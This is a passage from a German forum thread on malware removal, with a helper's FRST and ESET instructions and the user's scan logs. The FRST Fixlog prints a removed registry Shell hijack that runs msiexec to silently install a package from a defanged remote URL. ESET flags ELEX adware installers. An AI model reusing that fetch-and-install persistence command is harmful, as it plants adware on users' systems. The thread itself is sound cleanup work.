Speichere diese bitte als Fixlist.txt auf deinem Desktop (oder dem Verzeichnis in dem sich FRST befindet).

Starte nun FRST erneut und klicke den Entfernen Button.
Das Tool erstellt eine Fixlog.txt.
Poste mir deren Inhalt.

Schritt 2:

Hinweis: Der Scan mit ESET kann länger dauern!

ESET Online Scanner

Hier findest du eine bebilderte Anleitung zu ESET Online Scanner
Lade und starte Eset Online Scanner
Setze einen Haken bei Ja, ich bin mit den Nutzungsbedingungen einverstanden und klicke auf Starten.
Aktiviere die "Erkennung von eventuell unerwünschten Anwendungen" und wähle folgende Einstellungen.
Klicke auf Starten.
Die Signaturen werden heruntergeladen, der Scan beginnt automatisch.
Klicke am Ende des Suchlaufs auf Fertig stellen.
Schließe das Fenster von ESET.
Explorer öffnen.
C:\Programme\Eset\EsetOnlineScanner\log.txt (bei 64 Bit auch C:\Programme (x86)\Eset\EsetOnlineScanner\log.txt) suchen und mit Deinem Editor öffnen (bebildert).
Logfile hier posten.
Deinstallation: Systemsteuerung => Software / Programme deinstallieren => Eset Online Scanner V3 entfernen.
Manuell folgenden Ordner löschen und Papierkorb leeren => C:\Programme\Eset

Schritt 3:

Starte die FRST.exe erneut. Setze einen Haken vor Addition.txt und drücke auf Untersuchen.
FRST erstellt nun zwei Logdateien (FRST.txt und Addition.txt).
Poste mir beide Logdateien mit deiner nächsten Antwort.

Macht der PC noch Probleme?

Ich habe leider vergessen, dass ich das Premium Trial von Malwarebytes noch aktiviert hatte, der hat heute früh nämlich einen automatischen Suchlauf gestartet. Das gefundene habe ich nicht in Quarantäne versetzt, da ich deine Meinung abwarten möchte.

Hier die neuen Logs:

Malwarebytes:

Code:

Malwarebytes

www.malwarebytes.com
 

-Protokolldetails-

Scan-Datum: 27.04.17

Scan-Zeit: 02:24

Protokolldatei: Malwarebytes auto Scan.txt

Administrator: Ja
 

-Softwaredaten-

Version: 3.0.6.1469

Komponentenversion: 1.0.103

Version des Aktualisierungspakets: 1.0.1816

Lizenz: Testversion
 

-Systemdaten-

Betriebssystem: Windows 10

CPU: x64

Dateisystem: NTFS

Benutzer: System
 

-Scan-Übersicht-

Scan-Typ: Bedrohungs-Scan

Ergebnis: Abgeschlossen

Gescannte Objekte: 396434

Abgelaufene Zeit: 1 Min., 8 Sek.
 

-Scan-Optionen-

Speicher: Aktiviert

Start: Aktiviert

Dateisystem: Aktiviert

Archive: Aktiviert

Rootkits: Deaktiviert

Heuristik: Aktiviert

PUP: Aktiviert

PUM: Aktiviert
 

-Scan-Details-

Prozess: 0

(keine bösartigen Elemente erkannt)
 

Modul: 0

(keine bösartigen Elemente erkannt)
 

Registrierungsschlüssel: 0

(keine bösartigen Elemente erkannt)
 

Registrierungswert: 1

Hijack.Shell.Generic, HKU\S-1-5-21-1446151640-2387740664-487604262-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM|SHELL, Keine Aktion durch Benutzer, [2427], [393323],1.0.1816
 

Registrierungsdaten: 0

(keine bösartigen Elemente erkannt)
 

Daten-Stream: 0

(keine bösartigen Elemente erkannt)
 

Ordner: 0

(keine bösartigen Elemente erkannt)
 

Datei: 0

(keine bösartigen Elemente erkannt)
 

Physischer Sektor: 0

(keine bösartigen Elemente erkannt)
 
 

(end)

Fixlog:

Code:

Entferungsergebnis von Farbar Recovery Scan Tool (x64) Version: 26-04-2017

durchgeführt von Andy (27-04-2017 05:45:03) Run:1

Gestartet von C:\Users\Andy\Desktop

Geladene Profile: Andy (Verfügbare Profile: defaultuser0 & Andy)

Start-Modus: Normal

==============================================
 

fixlist Inhalt:

*****************

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i hxxp://point.orangeiloveyou.com/?data=zDlkMj1WF8EdFTRXM8EcMkQLMdQLNUM8FkRSNWhSMkJSF8YcMc== /q

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Everbean\Application\chrome.exe <==== ACHTUNG

C:\Program Files (x86)\Everbean

emptytemp:

*****************
 

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\Software\Microsoft\Windows\CurrentVersion\Policies\system\\Shell => Wert erfolgreich entfernt

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\SOFTWARE\Clients\StartMenuInternet\ChromeHTML => Schlüssel nicht gefunden. 

"C:\Program Files (x86)\Everbean" => nicht gefunden.
 

=========== EmptyTemp: ==========
 

BITS transfer queue => 6053888 B

DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 64456961 B

Java, Flash, Steam htmlcache => 350327625 B

Windows/system/drivers => 32983865 B

Edge => 7945541 B

Chrome => 63503925 B

Firefox => 0 B

Opera => 0 B
 

Temp, IE cache, history, cookies, recent:

Default => 0 B

Users => 0 B

ProgramData => 0 B

Public => 0 B

systemprofile => 1085 B

systemprofile32 => 128 B

LocalService => 0 B

NetworkService => 326286 B

defaultuser0 => 0 B

Andy => 174412107 B
 

RecycleBin => 321777111 B

EmptyTemp: => 974.5 MB temporäre Dateien entfernt.
 

================================
 
 

Das System musste neu gestartet werden.
 

==== Ende von Fixlog 05:45:42 ====

nur aus Interesse, war hier der Ursprung mit dabei, der mich quasi immer wieder mithilfe des explorers infiziert hat, also das mit dem "hxxp://point.orangeiloveyou.com/" zeug?

ESET:

Code:

ESETSmartInstaller@High as downloader log:

all ok

# product=EOS

# version=8

# OnlineScannerApp.exe=1.0.0.1

# EOSSerial=baf939d530e06b479a84da92f14d5f28

# end=init

# utc_time=2017-04-27 03:51:33

# local_time=2017-04-27 05:51:33 (+0100, Mitteleuropäische Sommerzeit)

# country="Germany"

# osver=6.2.9200 NT 

Update Init

Update Download

Update Finalize

Updated modules version: 33191

# product=EOS

# version=8

# OnlineScannerApp.exe=1.0.0.1

# EOSSerial=baf939d530e06b479a84da92f14d5f28

# end=updated

# utc_time=2017-04-27 03:54:27

# local_time=2017-04-27 05:54:27 (+0100, Mitteleuropäische Sommerzeit)

# country="Germany"

# osver=6.2.9200 NT 

# product=EOS

# version=8

# OnlineScannerApp.exe=1.0.0.1

# OnlineScanner.ocx=1.0.0.7777

# api_version=3.1.1

# EOSSerial=baf939d530e06b479a84da92f14d5f28

# engine=33191

# end=finished

# remove_checked=false

# archives_checked=true

# unwanted_checked=true

# unsafe_checked=false

# antistealth_checked=true

# utc_time=2017-04-27 06:18:56

# local_time=2017-04-27 08:18:56 (+0100, Mitteleuropäische Sommerzeit)

# country="Germany"

# lang=1031

# osver=6.2.9200 NT 

# compatibility_mode_1=''

# compatibility_mode=5893 16776573 100 94 10064 3406932 0 0

# scanned=530736

# found=4

# cleaned=0

# scan_time=8668

sh=72D22BEA80C3773427DB7622C6165189C447A6EB ft=1 fh=c71c0011f861e1c1 vn="Win32/Adware.ELEX.MP Anwendung" ac=I fn="C:\Windows\Installer\MSI5066.tmp"

sh=298E06FBE1E4F4F009C3D3D4A97D9F302035E7FA ft=1 fh=c71c0011f5eb4a90 vn="Variante von Win32/Adware.ELEX.MP Anwendung" ac=I fn="C:\Windows\Installer\MSI6CAD.tmp"

sh=298E06FBE1E4F4F009C3D3D4A97D9F302035E7FA ft=1 fh=c71c0011f5eb4a90 vn="Variante von Win32/Adware.ELEX.MP Anwendung" ac=I fn="C:\Windows\Installer\MSI9643.tmp"

sh=72D22BEA80C3773427DB7622C6165189C447A6EB ft=1 fh=c71c0011f861e1c1 vn="Win32/Adware.ELEX.MP Anwendung" ac=I fn="C:\Windows\Installer\MSIDD15.tmp"

und hier noch vom FRST:

Addition.txt:

Code:

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 26-04-2017

durchgeführt von Andy (27-04-2017 08:56:47)

Gestartet von C:\Users\Andy\Desktop

Windows 10 Pro Version 1703 (X64) (2017-04-14 00:49:09)

Start-Modus: Normal

==========================================================
 
 

==================== Konten: =============================
 

Administrator (S-1-5-21-1446151640-2387740664-487604262-500 - Administrator - Disabled)

Andy (S-1-5-21-1446151640-2387740664-487604262-1001 - Administrator - Enabled) => C:\Users\Andy

DefaultAccount (S-1-5-21-1446151640-2387740664-487604262-503 - Limited - Disabled)

defaultuser0 (S-1-5-21-1446151640-2387740664-487604262-1000 - Limited - Disabled) => C:\Users\defaultuser0

Gast (S-1-5-21-1446151640-2387740664-487604262-501 - Limited - Disabled)
 

==================== Sicherheits-Center ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
 

AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
 

==================== Installierte Programme ======================
 

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)
 

Adobe Flash Player 25 PPAPI (HKLM-x32\...\Adobe Flash Player PPAPI) (Version: 25.0.0.148 - Adobe Systems Incorporated)

Ansel (Version: 378.92 - NVIDIA Corporation) Hidden

AutoIt v3.3.14.2 (HKLM-x32\...\AutoItv3) (Version: 3.3.14.2 - AutoIt Team)

Battle.net (HKLM-x32\...\Battle.net) (Version:  - Blizzard Entertainment)

CPUID HWMonitor 1.30 (HKLM\...\CPUID HWMonitor_is1) (Version:  - )

CrystalDiskInfo 7.0.5 (HKLM-x32\...\CrystalDiskInfo_is1) (Version: 7.0.5 - Crystal Dew World)

DAEMON Tools Ultra (HKLM\...\DAEMON Tools Ultra) (Version: 5.0.0.0540 - Disc Soft Ltd)

Diablo II (HKLM-x32\...\Diablo II) (Version: 0.0.0.0 - Blizzard Entertainment)

Diablo III (HKLM-x32\...\Diablo III) (Version:  - Blizzard Entertainment)

Dota 2 (HKLM\...\Steam App 570) (Version:  - Valve)

ESET Online Scanner v3 (HKLM-x32\...\ESET Online Scanner) (Version:  - )

Google Chrome (HKLM-x32\...\Google Chrome) (Version: 58.0.3029.81 - Google Inc.)

Google Update Helper (x32 Version: 1.3.32.7 - Google Inc.) Hidden

Hearthstone (HKLM-x32\...\Hearthstone) (Version:  - Blizzard Entertainment)

Heroes of the Storm (HKLM-x32\...\Heroes of the Storm) (Version:  - Blizzard Entertainment)

hide.me VPN 1.2.12 (HKLM-x32\...\{0E00BDA5-7998-4889-BE4B-39A4BBD2EDFB}_is1) (Version: 1.2.12 - eVenture Limited)

HP ENVY 4520 series - Grundlegende Software für das Gerät (HKLM\...\{AC99F717-0091-4818-920D-C778C9BACA9D}) (Version: 36.0.72.54013 - Hewlett-Packard Co.)

HP Google Drive Plugin (HKLM-x32\...\{1502BB1F-7870-4DC9-9178-65CFE00D070C}) (Version: 36.0.31.53050 - Hewlett-Packard Co.)

Java 8 Update 121 (64-bit) (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F64180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)

Java 8 Update 121 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F32180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)

JDownloader 2 (HKLM\...\jdownloader2) (Version: 2.0 - AppWork GmbH)

Malwarebytes Anti-Malware versione 2.2.1.1043 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.2.1.1043 - Malwarebytes)

Malwarebytes Version 3.0.6.1469 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.0.6.1469 - Malwarebytes)

Microsoft Office Professional Plus 2016 (HKLM\...\Office16.PROPLUS) (Version: 16.0.4266.1001 - Microsoft Corporation)

Microsoft OneDrive (HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\OneDriveSetup.exe) (Version: 17.3.6816.0313 - Microsoft Corporation)

Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50906.0 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)

Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.21005 (HKLM-x32\...\{7f51bdb9-ee21-49ee-94d6-90afc321780e}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.21005 (HKLM-x32\...\{ce085a78-074e-4823-8dc1-8a721b94b76d}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23918 (HKLM-x32\...\{dab68466-3a7d-41a8-a5cf-415e3ff8ef71}) (Version: 14.0.23918.0 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.23918 (HKLM-x32\...\{2e085fd2-a3e4-4b39-8e10-6b8d35f55244}) (Version: 14.0.23918.0 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)

Minecraft1.9 (HKLM-x32\...\Minecraft1.9) (Version:  - )

NVIDIA 3D Vision Controller-Treiber 369.04 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NVIRUSB) (Version: 369.04 - NVIDIA Corporation)

NVIDIA 3D Vision Treiber 378.92 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 378.92 - NVIDIA Corporation)

NVIDIA GeForce Experience 3.5.0.70 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.5.0.70 - NVIDIA Corporation)

NVIDIA Grafiktreiber 378.92 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 378.92 - NVIDIA Corporation)

NVIDIA HD-Audiotreiber 1.3.34.23 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.23 - NVIDIA Corporation)

NVIDIA PhysX-Systemsoftware 9.16.0318 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.16.0318 - NVIDIA Corporation)

NvNodejs (Version: 3.5.0.70 - NVIDIA Corporation) Hidden

NvTelemetry (Version: 2.4.5.0 - NVIDIA Corporation) Hidden

NvvHci (Version: 2.02.0.5 - NVIDIA Corporation) Hidden

OnScreen Control (HKLM-x32\...\{E5C1B339-0E4E-49A5-859E-5E1DE1938706}) (Version: 1.39 - LG Electronics Inc)

Outils de vérification linguistique 2016 de Microsoft Office*- Français (Version: 16.0.4266.1001 - Microsoft Corporation) Hidden

Overwatch (HKLM-x32\...\Overwatch) (Version:  - Blizzard Entertainment)

Razer Chroma SDK Core Components (HKLM-x32\...\Razer Chroma SDK) (Version: 1.14.7 - Razer Inc.)

Razer Synapse (HKLM-x32\...\{0D78BEE2-F8FF-4498-AF1A-3FF81CED8AC6}) (Version: 2.20.17.302 - Razer Inc.)

Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7848 - Realtek Semiconductor Corp.)

resident evil 4 / biohazard 4 (HKLM\...\Steam App 254700) (Version:  - Capcom)

SHIELD Streaming (Version: 7.1.0360 - NVIDIA Corporation) Hidden

SHIELD Wireless Controller Driver (Version: 3.5.0.70 - NVIDIA Corporation) Hidden

Shovel Knight (HKLM-x32\...\1207664823_is1) (Version: 2.0.0.5 - GOG.com)

Skype™ 7.33 (HKLM-x32\...\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}) (Version: 7.33.105 - Skype Technologies S.A.)

SpeedFan (remove only) (HKLM-x32\...\SpeedFan) (Version:  - )

StarCraft II (HKLM-x32\...\StarCraft II) (Version:  - Blizzard Entertainment)

Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)

Strumenti di correzione di Microsoft Office 2016 - Italiano (Version: 16.0.4266.1001 - Microsoft Corporation) Hidden

Update for Skype for Business 2016 (KB3178717) 64-Bit Edition (HKLM\...\{90160000-0011-0000-1000-0000000FF1CE}_Office16.PROPLUS_{45503767-F19E-4421-B930-8B0004ACA804}) (Version:  - Microsoft)

Update for Skype for Business 2016 (KB3178717) 64-Bit Edition (HKLM\...\{90160000-012B-0407-1000-0000000FF1CE}_Office16.PROPLUS_{45503767-F19E-4421-B930-8B0004ACA804}) (Version:  - Microsoft)

VLC media player (HKLM-x32\...\VLC media player) (Version: 2.2.4 - VideoLAN)

Vulkan Run Time Libraries 1.0.39.1 (HKLM\...\VulkanRT1.0.39.1) (Version: 1.0.39.1 - LunarG, Inc.)

Windows 10 Update and Privacy Settings (HKLM\...\{293F2009-0145-450B-B4AA-063D43FB368C}) (Version: 1.0.13.0 - Microsoft Corporation)

WinRAR 5.40 (64-Bit) (HKLM\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

World of Warcraft (HKLM-x32\...\World of Warcraft) (Version:  - Blizzard Entertainment)
 

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 
 

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

Task: {152E5D51-00AA-46BA-860A-E25C2EB3A14A} - System32\Tasks\Adobe Flash Player PPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_25_0_0_148_pepper.exe [2017-04-22] (Adobe Systems Incorporated)

Task: {20FCF163-FE9B-4D38-AE7C-72BE70DDE7A8} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-04-22] (Google Inc.)

Task: {2EDA172E-7F18-4A89-B766-59CF7F12DC92} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-04-22] (Google Inc.)

Task: {31A706B3-3F75-4EBC-BC6B-153C24C7F6B2} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-03-28] (NVIDIA Corporation)

Task: {4D5DB8DA-F4C6-4FBD-994D-966D95FA3E25} - System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-03-28] (NVIDIA Corporation)

Task: {620D1BF5-BA88-4BB2-B87B-0B89DB524599} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [2017-03-28] (NVIDIA Corporation)

Task: {806EB92E-F18E-4C15-B634-928C20ADCF4E} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn2016 => C:\Program Files\Microsoft Office\Office16\msoia.exe [2015-07-31] (Microsoft Corporation)

Task: {84BCFF99-883C-410B-A883-5707CA13A572} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-03-28] (NVIDIA Corporation)

Task: {91D480AD-8E90-4DAB-83E0-29D462EA8F3E} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack2016 => C:\Program Files\Microsoft Office\Office16\msoia.exe [2015-07-31] (Microsoft Corporation)

Task: {BC7F9A94-3626-41DE-A5AE-38E2B20773E9} - System32\Tasks\Microsoft\Office\Office 15 Subscription Heartbeat => C:\Program Files\Common Files\Microsoft Shared\Office16\OLicenseHeartbeat.exe [2015-07-31] (Microsoft Corporation)

Task: {C0B0CC45-769A-47D5-A872-0ADC5D73E6CA} - System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmMon.exe [2017-03-28] (NVIDIA Corporation)

Task: {CA8A9A0E-746F-454B-9419-1BCB3A146E8A} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-03-28] (NVIDIA Corporation)

Task: {F026B1C0-323C-4E3D-A09E-0F3DB2286A37} - System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-03-28] (NVIDIA Corporation)
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
 
 

==================== Verknüpfungen =============================
 

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)
 

Shortcut: C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Minecraft\Minecraft Debugger.lnk -> C:\Users\Andy\AppData\Roaming\.minecraft\minecraft launcher\Debug.bat ()
 

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============
 

2017-04-14 02:41 - 2017-03-17 01:16 - 00133056 _____ () C:\Program Files\NVIDIA Corporation\Display\NvSmartMax64.dll

2017-02-16 08:09 - 2015-05-08 14:26 - 00936728 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe

2017-02-16 08:10 - 2014-04-24 14:29 - 01360016 _____ () C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe

2017-03-15 18:53 - 2017-04-12 18:46 - 02271520 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\PoliciesControllerImpl.dll

2017-03-15 18:53 - 2017-04-12 18:46 - 02267600 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\MwacLib.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 01147328 _____ () C:\Program Files\NVIDIA Corporation\NvContainer\libprotobuf.dll

2016-09-25 01:20 - 2016-09-25 01:21 - 00189264 _____ () C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe

2017-03-09 21:46 - 2015-12-14 18:35 - 00065024 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\ScreenSplitterHook64.dll

2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ () C:\Windows\SYSTEM32\inputhost.dll

2017-03-18 22:59 - 2017-03-20 06:43 - 01731072 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll

2017-03-28 15:06 - 2017-03-28 15:06 - 01668976 _____ () C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.17022.10311.0_x64__8wekyb3d8bbwe\Microsoft.UI.Xaml.dll

2017-04-04 11:20 - 2017-04-04 11:21 - 00019456 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe

2017-04-04 11:20 - 2017-04-04 11:21 - 22723584 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.Photos.dll

2017-04-04 11:20 - 2017-04-04 11:21 - 00448512 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.Photos.AGM.Native.Windows.dll

2017-04-04 11:20 - 2017-04-04 11:21 - 05427200 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\MediaEngine.dll

2017-02-15 23:04 - 2017-02-15 23:04 - 00680448 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.DesignCore.dll

2017-04-04 11:20 - 2017-04-04 11:21 - 00435712 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.RichMedia.Ink.Controls.dll

2017-04-04 11:20 - 2017-04-04 11:21 - 01062400 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.Sharing.dll

2016-07-17 01:02 - 2016-07-17 01:02 - 00291328 ____N () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\StoreRatingPromotion.dll

2017-04-22 04:39 - 2017-04-19 07:03 - 03767640 _____ () C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\libglesv2.dll

2017-04-22 04:39 - 2017-04-19 07:03 - 00100696 _____ () C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\libegl.dll

2017-02-16 11:04 - 2017-04-27 05:46 - 00035840 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\PEbiosinterface32.dll

2017-02-16 08:09 - 2015-05-08 14:26 - 00104448 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\ATKEX.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 00900032 _____ () C:\Program Files (x86)\NVIDIA Corporation\NvContainer\libprotobuf.dll

2017-03-09 21:46 - 2015-12-14 18:35 - 00058368 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\ScreenSplitterHook.dll

2017-03-09 21:46 - 2015-12-14 18:36 - 00012800 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\LMMAppHookManager.dll

2017-03-09 21:46 - 2016-05-12 17:13 - 00014336 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\Ger_Res.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 65708992 _____ () C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\libcef.dll

2017-02-16 02:27 - 2017-03-21 06:27 - 02442176 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\Downloader.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00363576 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVAccountAPINode.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00254008 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\DriverInstall.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00385592 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NvGameShareAPINode.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00469048 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NvGalleryAPINode.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00571840 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NvSpCapsAPINode.node
 

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)
 
 

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)
 

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetSetupSvc => ""="Service"
 

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)
 
 

==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)
 
 

==================== Hosts Inhalt: ===============================
 

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)
 

2016-07-16 13:47 - 2017-04-25 05:05 - 00000793 ____A C:\Windows\system32\Drivers\etc\hosts
 
 

==================== Andere Bereiche ============================
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper

DNS Servers: 192.168.2.1

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)

Windows Firewall ist aktiviert.
 

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==
 

HKLM\...\StartupApproved\Run32: => "SunJavaUpdateSched"

HKLM\...\StartupApproved\Run32: => "Razer Synapse"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\StartupFolder: => "hide.me VPN.lnk"

